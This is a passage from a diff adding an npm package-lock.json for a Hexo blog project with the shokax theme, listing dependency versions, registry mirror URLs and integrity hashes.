"^4.0.4", + "moize": "^6.1.6", + "moment": "^2.29.1", + "moment-timezone": "^0.5.34", + "nunjucks": "^3.2.3", + "picocolors": "^1.0.0", + "pretty-hrtime": "^1.0.3", + "resolve": "^1.22.0", + "strip-ansi": "^6.0.0", + "text-table": "^0.2.0", + "tildify": "^2.0.0", + "titlecase": "^1.1.3", + "warehouse": "^5.0.0" + }, + "bin": { + "hexo": "bin/hexo" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-algoliasearch": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/hexo-algoliasearch/-/hexo-algoliasearch-2.0.1.tgz", + "integrity": "sha512-QbzB6M/ZByidBeeNyhTMC7zMl8BddG+ovobO6VjK7HufUW2iHSLZYG93gi3Fri2xji0mTn6c80Q6G60U1ILq+Q==", + "dependencies": { + "algoliasearch": "4.20.0", + "striptags": "3.2.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/cache-browser-local-storage": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.20.0.tgz", + "integrity": "sha512-uujahcBt4DxduBTvYdwO3sBfHuJvJokiC3BP1+O70fglmE1ShkH8lpXqZBac1rrU3FnNYSUs4pL9lBdTKeRPOQ==", + "dependencies": { + "@algolia/cache-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/cache-common": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.20.0.tgz", + "integrity": "sha512-vCfxauaZutL3NImzB2G9LjLt36vKAckc6DhMp05An14kVo8F1Yofb6SIl6U3SaEz8pG2QOB9ptwM5c+zGevwIQ==" + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/cache-in-memory": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.20.0.tgz", + "integrity": "sha512-Wm9ak/IaacAZXS4mB3+qF/KCoVSBV6aLgIGFEtQtJwjv64g4ePMapORGmCyulCFwfePaRAtcaTbMcJF+voc/bg==", + "dependencies": { + "@algolia/cache-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/client-account": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.20.0.tgz", + "integrity": "sha512-GGToLQvrwo7am4zVkZTnKa72pheQeez/16sURDWm7Seyz+HUxKi3BM6fthVVPUEBhtJ0reyVtuK9ArmnaKl10Q==", + "dependencies": { + "@algolia/client-common": "4.20.0", + "@algolia/client-search": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/client-analytics": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.20.0.tgz", + "integrity": "sha512-EIr+PdFMOallRdBTHHdKI3CstslgLORQG7844Mq84ib5oVFRVASuuPmG4bXBgiDbcsMLUeOC6zRVJhv1KWI0ug==", + "dependencies": { + "@algolia/client-common": "4.20.0", + "@algolia/client-search": "4.20.0", + "@algolia/requester-common": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/client-common": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.20.0.tgz", + "integrity": "sha512-P3WgMdEss915p+knMMSd/fwiHRHKvDu4DYRrCRaBrsfFw7EQHon+EbRSm4QisS9NYdxbS04kcvNoavVGthyfqQ==", + "dependencies": { + "@algolia/requester-common": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/client-personalization": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.20.0.tgz", + "integrity": "sha512-N9+zx0tWOQsLc3K4PVRDV8GUeOLAY0i445En79Pr3zWB+m67V+n/8w4Kw1C5LlbHDDJcyhMMIlqezh6BEk7xAQ==", + "dependencies": { + "@algolia/client-common": "4.20.0", + "@algolia/requester-common": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/client-search": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.20.0.tgz", + "integrity": "sha512-zgwqnMvhWLdpzKTpd3sGmMlr4c+iS7eyyLGiaO51zDZWGMkpgoNVmltkzdBwxOVXz0RsFMznIxB9zuarUv4TZg==", + "dependencies": { + "@algolia/client-common": "4.20.0", + "@algolia/requester-common": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/logger-common": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.20.0.tgz", + "integrity": "sha512-xouigCMB5WJYEwvoWW5XDv7Z9f0A8VoXJc3VKwlHJw/je+3p2RcDXfksLI4G4lIVncFUYMZx30tP/rsdlvvzHQ==" + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/logger-console": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.20.0.tgz", + "integrity": "sha512-THlIGG1g/FS63z0StQqDhT6bprUczBI8wnLT3JWvfAQDZX5P6fCg7dG+pIrUBpDIHGszgkqYEqECaKKsdNKOUA==", + "dependencies": { + "@algolia/logger-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/requester-browser-xhr": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.20.0.tgz", + "integrity": "sha512-HbzoSjcjuUmYOkcHECkVTwAelmvTlgs48N6Owt4FnTOQdwn0b8pdht9eMgishvk8+F8bal354nhx/xOoTfwiAw==", + "dependencies": { + "@algolia/requester-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/requester-common": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.20.0.tgz", + "integrity": "sha512-9h6ye6RY/BkfmeJp7Z8gyyeMrmmWsMOCRBXQDs4mZKKsyVlfIVICpcSibbeYcuUdurLhIlrOUkH3rQEgZzonng==" + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/requester-node-http": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.20.0.tgz", + "integrity": "sha512-ocJ66L60ABSSTRFnCHIEZpNHv6qTxsBwJEPfYaSBsLQodm0F9ptvalFkHMpvj5DfE22oZrcrLbOYM2bdPJRHng==", + "dependencies": { + "@algolia/requester-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/@algolia/transporter": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.20.0.tgz", + "integrity": "sha512-Lsii1pGWOAISbzeyuf+r/GPhvHMPHSPrTDWNcIzOE1SG1inlJHICaVe2ikuoRjcpgxZNU54Jl+if15SUCsaTUg==", + "dependencies": { + "@algolia/cache-common": "4.20.0", + "@algolia/logger-common": "4.20.0", + "@algolia/requester-common": "4.20.0" + } + }, + "node_modules/hexo-algoliasearch/node_modules/algoliasearch": { + "version": "4.20.0", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.20.0.tgz", + "integrity": "sha512-y+UHEjnOItoNy0bYO+WWmLWBlPwDjKHW6mNHrPi0NkuhpQOOEbrkwQH/wgKFDLh7qlKjzoKeiRtlpewDPDG23g==", + "dependencies": { + "@algolia/cache-browser-local-storage": "4.20.0", + "@algolia/cache-common": "4.20.0", + "@algolia/cache-in-memory": "4.20.0", + "@algolia/client-account": "4.20.0", + "@algolia/client-analytics": "4.20.0", + "@algolia/client-common": "4.20.0", + "@algolia/client-personalization": "4.20.0", + "@algolia/client-search": "4.20.0", + "@algolia/logger-common": "4.20.0", + "@algolia/logger-console": "4.20.0", + "@algolia/requester-browser-xhr": "4.20.0", + "@algolia/requester-common": "4.20.0", + "@algolia/requester-node-http": "4.20.0", + "@algolia/transporter": "4.20.0" + } + }, + "node_modules/hexo-cli": { + "version": "4.3.1", + "resolved": "https://registry.npmmirror.com/hexo-cli/-/hexo-cli-4.3.1.tgz", + "integrity": "sha512-nYe7yJhXT7MwlDEpIAjneMfz0wnWTdIhRv+cVW2OPTw8JtG2X+8Y/sYhPDvQz/ZqjFRZ4qgiKFXN5orFJ/u1vg==", + "dependencies": { + "abbrev": "^2.0.0", + "bluebird": "^3.7.2", + "command-exists": "^1.2.9", + "hexo-fs": "^4.1.1", + "hexo-log": "^4.0.1", + "hexo-util": "^2.5.0", + "minimist": "^1.2.5", + "picocolors": "^1.0.0", + "resolve": "^1.20.0", + "tildify": "^2.0.0" + }, + "bin": { + "hexo": "bin/hexo" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-cli/node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "node_modules/hexo-cli/node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + }, + "node_modules/hexo-cli/node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmmirror.com/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/hexo-cli/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "node_modules/hexo-cli/node_modules/entities": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/entities/-/entities-3.0.1.tgz", + "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/hexo-cli/node_modules/hexo-util": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/hexo-util/-/hexo-util-2.7.0.tgz", + "integrity": "sha512-hQM3h34nhDg0bSe/Tg1lnpODvNkz7h2u0+lZGzlKL0Oufp+5KCAEUX9wal7/xC7ax3/cwEn8IuoU75kNpZLpJQ==", + "dependencies": { + "bluebird": "^3.5.2", + "camel-case": "^4.0.0", + "cross-spawn": "^7.0.0", + "deepmerge": "^4.2.2", + "highlight.js": "^11.0.1", + "htmlparser2": "^7.0.0", + "prismjs": "^1.17.1", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/hexo-cli/node_modules/htmlparser2": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-7.2.0.tgz", + "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.2", + "domutils": "^2.8.0", + "entities": "^3.0.1" + } + }, + "node_modules/hexo-feed": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/hexo-feed/-/hexo-feed-1.1.2.tgz", + "integrity": "sha512-7uK+9r3btleHpVbuuP0I13ETSRiVsBtQghPNyyBl9HJ8D23jXcWq5lLe4KUlhOql35mlIYErNv1iZIbJMNilEQ==", + "peerDependencies": { + "chalk": "^4.1.0", + "hexo": "^4.2.0 || ^5.2.0 || ^6.1.0 || ^7.0.0" + } + }, + "node_modules/hexo-front-matter": { + "version": "4.2.1", + "resolved": "https://registry.npmmirror.com/hexo-front-matter/-/hexo-front-matter-4.2.1.tgz", + "integrity": "sha512-sJJI0GNmejYiwBvgnGRKn5V3sbODB4dNPr8jyw2Qp0PRHr4Uuyv8iyxw6WfK3+T7yvzYvJOh+tZ7jnwr2BYARA==", + "dependencies": { + "js-yaml": "^4.1.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-fs": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/hexo-fs/-/hexo-fs-4.1.1.tgz", + "integrity": "sha512-aDysNTyv8ElcerbFVbPLRXnYt+QDY6gAOZZ5DLbCxudY0Ywppqd+uZ03gZ2BDypIBvmNB27WYWYz76M+Yv/YXw==", + "dependencies": { + "bluebird": "^3.7.2", + "chokidar": "^3.5.3", + "graceful-fs": "^4.2.10", + "hexo-util": "^2.7.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-fs/node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "node_modules/hexo-fs/node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + }, + "node_modules/hexo-fs/node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmmirror.com/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/hexo-fs/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "node_modules/hexo-fs/node_modules/entities": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/entities/-/entities-3.0.1.tgz", + "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/hexo-fs/node_modules/hexo-util": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/hexo-util/-/hexo-util-2.7.0.tgz", + "integrity": "sha512-hQM3h34nhDg0bSe/Tg1lnpODvNkz7h2u0+lZGzlKL0Oufp+5KCAEUX9wal7/xC7ax3/cwEn8IuoU75kNpZLpJQ==", + "dependencies": { + "bluebird": "^3.5.2", + "camel-case": "^4.0.0", + "cross-spawn": "^7.0.0", + "deepmerge": "^4.2.2", + "highlight.js": "^11.0.1", + "htmlparser2": "^7.0.0", + "prismjs": "^1.17.1", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/hexo-fs/node_modules/htmlparser2": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-7.2.0.tgz", + "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.2", + "domutils": "^2.8.0", + "entities": "^3.0.1" + } + }, + "node_modules/hexo-generator-archive": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hexo-generator-archive/-/hexo-generator-archive-2.0.0.tgz", + "integrity": "sha512-KikJk7dGFbtNHOgqtLFGf5T/S8n1paGp+Gy0KfVDz+HKYhGbXOouyiZkmc3O9KrYt6ja14rmkMhq7KKGtvfehw==", + "dependencies": { + "hexo-pagination": "3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-generator-category": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hexo-generator-category/-/hexo-generator-category-2.0.0.tgz", + "integrity": "sha512-9OduRBf3WeRDa4BR0kAfRjOVHur7v3fm0NKAwbjUiqULigAdNZVZPO3cHKW2MlBbl/lI5PuWdhQ9zZ99CCCAgQ==", + "dependencies": { + "hexo-pagination": "3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-generator-index": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/hexo-generator-index/-/hexo-generator-index-3.0.0.tgz", + "integrity": "sha512-83AuNN4cWdLVi//3ugR8E3kR6rrOwhXZt+hOCm1IjtIGj353/GlrtpMHpqZHU5kqipzj4miy9dweVdukXglVWw==", + "dependencies": { + "hexo-pagination": "3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-generator-tag": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hexo-generator-tag/-/hexo-generator-tag-2.0.0.tgz", + "integrity": "sha512-1px/hF3veEohWDN8jjzchQhaiz+uOStUvvMaBJC9vWOlALh30UFcapL8IrvAwwJZjFRVA+WqGgDRqoQ8+yaaFw==", + "dependencies": { + "hexo-pagination": "3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-i18n": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hexo-i18n/-/hexo-i18n-2.0.0.tgz", + "integrity": "sha512-dkUXecEtChaQMdTHN4WR13c8GwKqjbSOZPJS9qDqV6Ebnb77Wa/nQzWFckhP0dCps3a9lUQBd8hYGOMbOosiQQ==", + "dependencies": { + "sprintf-js": "^1.1.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-lightning-minify": { + "version": "0.1.5", + "resolved": "https://registry.npmmirror.com/hexo-lightning-minify/-/hexo-lightning-minify-0.1.5.tgz", + "integrity": "sha512-sX9CS6rYvkKbwyJ3PoHvcLeXWYif5fWHUFo4AZrRg2bRJ/XVfshITUj2SCHGgNCpsZOZZjyIeYkkmkzm8v06/Q==", + "dependencies": { + "@minify-html/node": "^0.15.0", + "browserslist": "^4.23.0", + "cheerio": "1.0.0-rc.12", + "esbuild": "^0.20.1", + "hexo": "^7.1.1", + "html-minifier": "^4.0.0", + "lightningcss": "^1.23.0", + "micromatch": "^4.0.5", + "sharp": "^0.33.2", + "typescript": "^5.3.3" + } + }, + "node_modules/hexo-lightning-minify/node_modules/hexo": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/hexo/-/hexo-7.1.1.tgz", + "integrity": "sha512-u6aJXG1npYkZJLl7QEOeTdm9hOwxfsLmFp4qAQVF0OAuNaikrKORjgNsjPmrWwI/tIObwjVJnEUJnV7S+NnUlw==", + "dependencies": { + "abbrev": "^2.0.0", + "archy": "^1.0.0", + "bluebird": "^3.7.2", + "hexo-cli": "^4.3.0", + "hexo-front-matter": "^4.2.1", + "hexo-fs": "^4.1.1", + "hexo-i18n": "^2.0.0", + "hexo-log": "^4.0.1", + "hexo-util": "^3.0.1", + "js-yaml": "^4.1.0", + "js-yaml-js-types": "^1.0.0", + "micromatch": "^4.0.4", + "moize": "^6.1.6", + "moment": "^2.29.1", + "moment-timezone": "^0.5.34", + "nunjucks": "^3.2.3", + "picocolors": "^1.0.0", + "pretty-hrtime": "^1.0.3", + "resolve": "^1.22.0", + "strip-ansi": "^6.0.0", + "text-table": "^0.2.0", + "tildify": "^2.0.0", + "titlecase": "^1.1.3", + "warehouse": "^5.0.0" + }, + "bin": { + "hexo": "bin/hexo" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-log": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/hexo-log/-/hexo-log-4.1.0.tgz", + "integrity": "sha512-i2Sgxk8Cgx5viSjq5qW5N/rBFfwoCKQcH8qnnW1fawCapcdEAhIsq+Y3vbrs9bssyDlyU6Vqm4oQmosREaNI7Q==", + "dependencies": { + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-pagination": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/hexo-pagination/-/hexo-pagination-3.0.0.tgz", + "integrity": "sha512-8oo1iozloZo7TojPVYg4IxL3SJKCBdSJ908fTlIxIK7TWJIKdYnQlW31+12DBJ0NhVZA/lZisPObGF08wT8fKw==", + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-renderer-ejs": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hexo-renderer-ejs/-/hexo-renderer-ejs-2.0.0.tgz", + "integrity": "sha512-qCjE1IdwgDgv65qyb0KMVCwCdSVAkH0vwAe9XihjvaKWkmb9dtt8DgErOdqCXn0HReSyWiEVP2BrLRj3gyHwOQ==", + "dependencies": { + "ejs": "^3.1.6" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/hexo-renderer-multi-next-markdown-it": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/hexo-renderer-multi-next-markdown-it/-/hexo-renderer-multi-next-markdown-it-0.2.1.tgz", + "integrity": "sha512-+mupGZj1/xYq1ygROMttpjb9aQyHjYYJyr8qlWC7goBrqFX/rGnQqyugzLVvtcDIhZ53yea0uwRZF6C+jGowmw==", + "dependencies": { + "deasync-promise": "^1.0.1", + "frappe-charts": "^1.6.2", + "hexo-util": "^3.0.1", + "katex": "^0.16.7", + "markdown-it": "^13.0.1", + "markdown-it-abbr": "^1.0.4", + "markdown-it-attrs": "^4.1.6", + "markdown-it-bracketed-spans": "^1.0.1", + "markdown-it-charts": "^1.0.5", + "markdown-it-container": "^3.0.0", + "markdown-it-deflist": "^2.1.0", + "markdown-it-emoji": "^2.0.2", + "markdown-it-footnote": "^3.0.3", + "markdown-it-ins": "^3.0.1", + "markdown-it-mark": "^3.0.1", + "markdown-it-multimd-table": "^4.2.2", + "markdown-it-pangu": "^1.0.2", + "markdown-it-sub": "^1.0.0", + "markdown-it-sup": "^1.0.0", + "markdown-it-task-checkbox": "^1.0.6", + "markdown-it-toc-and-anchor": "^4.2.0", + "pangu": "^4.0.7", + "prismjs": "^1.29.0", + "puppeteer": "^21.6.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/hexo-renderer-pug": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/hexo-renderer-pug/-/hexo-renderer-pug-3.0.0.tgz", + "integrity": "sha512-PmbLx6VkNv+mPLOe97OC4F8iTzTuj665dSYN7bZKArd4M/q7gb2tNs29VGuAOC50i9tvWY2f+tPQimf0GZ9Hyw==", + "dependencies": { + "pug": "^3.0.2" + }, + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/hexo-renderer-stylus": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/hexo-renderer-stylus/-/hexo-renderer-stylus-3.0.1.tgz", + "integrity": "sha512-cFm8ZwShBBeFcQwOXc8EK7lIZnSYVD6OJykdL4GBw99hxc4eD5Hlsi32nRzE8sgKv00jhX1s9Da3GVVFMPAVQg==", + "dependencies": { + "nib": "^1.2.0", + "stylus": "^0.62.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-server": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/hexo-server/-/hexo-server-3.0.0.tgz", + "integrity": "sha512-u4s0ty9Aew6jV+a9oMrXBwhrRpUQ0U8PWM/88a5aHgDru58VY81mVrxOFxs788NAsWQ8OvsJtF5m7mnXoRnSIA==", + "dependencies": { + "bluebird": "^3.5.5", + "compression": "^1.7.4", + "connect": "^3.7.0", + "mime": "^3.0.0", + "morgan": "^1.9.1", + "open": "^8.0.9", + "picocolors": "^1.0.0", + "serve-static": "^1.14.1" + }, + "engines": { + "node": ">=12.13.0" + } + }, + "node_modules/hexo-theme-landscape": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/hexo-theme-landscape/-/hexo-theme-landscape-1.0.0.tgz", + "integrity": "sha512-bWQJWMqQI78wWiJPQZq5pJBH20TM442ShCaHGRetuEgMraxH0OKxB3NTupJzNEkzEk8DV2yrdizkXdKN6i501A==" + }, + "node_modules/hexo-theme-shokax": { + "version": "0.4.2", + "resolved": "https://registry.npmmirror.com/hexo-theme-shokax/-/hexo-theme-shokax-0.4.2.tgz", + "integrity": "sha512-QgVINa12v1mCjtSw3XsDLvZolsEsLP2lbN6YEPxKJpr89id/6V7l3H3UYkteCpZPhl/hakM0ma8N4BAjXg6tRA==", + "dependencies": { + "@algolia/client-search": "^4.22.1", + "@waline/client": "^3.0.1", + "algoliasearch": "4.22.1", + "esbuild": "^0.20.0", + "hexo": "7.0.0", + "hexo-algoliasearch": "latest", + "hexo-feed": "latest", + "hexo-fs": "^4.1.1", + "hexo-lightning-minify": "latest", + "hexo-pagination": "^3.0.0", + "hexo-renderer-pug": "latest", + "hexo-util": "^3.2.0", + "instantsearch.js": "^4.64.2", + "js-yaml": "^4.1.0", + "mouse-firework": "^0.0.5", + "quicklink": "^2.3.0", + "theme-shokax-anime": "^0.0.6", + "theme-shokax-pjax": "^0.0.3", + "twikoo": "^1.6.31", + "unlazy": "^0.10.4", + "vue": "^3.4.15" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/hexo-util": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/hexo-util/-/hexo-util-3.2.0.tgz", + "integrity": "sha512-iM2eS8P88IUpcgiU2szx584bwhXzjzLLqED6WwDk55wYQZrQh/sni/UJwmoW4pxpgubbISIUPXr4LjwPyJuYzA==", + "hasInstallScript": true, + "dependencies": { + "camel-case": "^4.1.2", + "cross-spawn": "^7.0.3", + "deepmerge": "^4.2.2", + "highlight.js": "^11.6.0", + "htmlparser2": "^9.0.0", + "prismjs": "^1.29.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/highlight.js": { + "version": "11.9.0", + "resolved": "https://registry.npmmirror.com/highlight.js/-/highlight.js-11.9.0.tgz", + "integrity": "sha512-fJ7cW7fQGCYAkgv4CPfwFHrfd/cLS4Hau96JuJ+ZTOWhjnhoeN1ub1tFmALm/+lW5z4WCAuAV9bm05AP0mS6Gw==", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/hogan.js": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/hogan.js/-/hogan.js-3.0.2.tgz", + "integrity": "sha512-RqGs4wavGYJWE07t35JQccByczmNUXQT0E12ZYV1VKYu5UiAU9lsos/yBAcf840+zrUQQxgVduCR5/B8nNtibg==", + "dependencies": { + "mkdirp": "0.3.0", + "nopt": "1.0.10" + }, + "bin": { + "hulk": "bin/hulk" + } + }, + "node_modules/htm": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/htm/-/htm-3.1.1.tgz", + "integrity": "sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==" + }, + "node_modules/html-minifier": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/html-minifier/-/html-minifier-4.0.0.tgz", + "integrity": "sha512-aoGxanpFPLg7MkIl/DDFYtb0iWz7jMFGqFhvEDZga6/4QTjneiD8I/NXL1x5aaoCp7FSIT6h/OhykDdPsbtMig==", + "dependencies": { + "camel-case": "^3.0.0", + "clean-css": "^4.2.1", + "commander": "^2.19.0", + "he": "^1.2.0", + "param-case": "^2.1.1", + "relateurl": "^0.2.7", + "uglify-js": "^3.5.1" + }, + "bin": { + "html-minifier": "cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/html-minifier/node_modules/camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==", + "dependencies": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "node_modules/html-minifier/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmmirror.com/commander/-/commander-2.20.3.tgz", + "integrity": 